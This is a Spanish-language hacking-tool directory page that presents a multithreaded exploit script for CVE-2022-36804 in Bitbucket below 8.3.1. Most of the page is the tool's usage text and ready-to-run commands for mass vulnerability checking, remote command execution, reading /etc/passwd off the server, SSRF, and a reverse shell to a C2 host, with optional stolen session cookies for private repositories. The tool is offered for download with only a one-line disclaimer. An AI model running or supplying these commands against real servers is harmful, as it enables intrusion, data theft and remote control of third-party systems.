Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-36804-PoC — Script de exploit multihilo para CVE-2022-36804 que afecta a las versiones de BitBucket <8.3.1 | Kitploit
Herramientas/GitHubGitHub/notxesh/cve-2022-36804-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed Teaming
GitHubnotxesh/cve-2022-36804-poc

CVE-2022-36804-PoC

Script de exploit multihilo para CVE-2022-36804 que afecta a las versiones de BitBucket <8.3.1

Ver Repositorio
188hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-36804-PoC

Script de explotación multihilo para CVE-2022-36804 que afecta a (la mayoría de) las versiones de BitBucket <8.3.1 Consulte el aviso completo aquí https://jira.atlassian.com/browse/BSERV-13438

Todo el crédito para TheGrandPew por el descubrimiento

El script detectará automáticamente los repositorios públicos ubicados en instancias de Bitbucket y luego seleccionará un repositorio aleatorio para verificar o explotar la vulnerabilidad. Si no hay repositorios públicos, se requiere una cookie 'BITBUCKETSESSIONID' válida para explotar instancias vulnerables conocidas.

El PoC fue diseñado para aceptar múltiples hosts de entrada y canalizar los hosts vulnerables a stdout, lo que permite redirigir los resultados para que sean procesados por otras herramientas.

No lo use con fines malintencionados.

Uso

root@kitploit:~
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
                         [--skip-check] [-t THREADS] [-v]
                         repos [repos ...]

CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  repos                 Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on

optional arguments:
  --auth-cookie AUTH_COOKIE
                        Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
  --proxy PROXY         HTTP Proxy: <http/https>://<ip>:<port>
  -e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
                        Exploit to perform
  --cmd CMD             Command to execute for the 'rce' exploit (curl http://example.com)
  --knary KNARY         Knary to respond too via DNS for the 'ssrf' exploit
  --server-file SERVER_FILE
                        Server file to download for the 'download' exploit (/etc/passwd)
  --host HOST           Hostname or IP address of c2 for the 'rev_shell' exploit
  --port PORT           Port of the c2 for the 'rev_shell' exploit
  --skip-check          Skip vulnerability checking stage
  -t THREADS, --threads THREADS
                        Worker Threads
  -v, --verbose         Increase output verbosity level

Modos de explotación

Comprobación

Host único

CVE-2022-36804.py http://bitbucket.local:7990/

Múltiples hosts y canalización de hosts vulnerables y repositorios explotados a un archivo

CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts

RCE (Ejecución remota de código)

CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/

SSRF (Falsificación de solicitudes del lado del servidor)

Realice una solicitud DNS al knary especificado

CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/

Descargar

Descarga un repositorio con el archivo objetivo /etc/passwd; esto guardará el repositorio comprimido con un nombre de archivo aleatorio.

CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/

Rev_shell (Genera un shell sh inverso al host y puerto especificados)

CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/

Descargar herramienta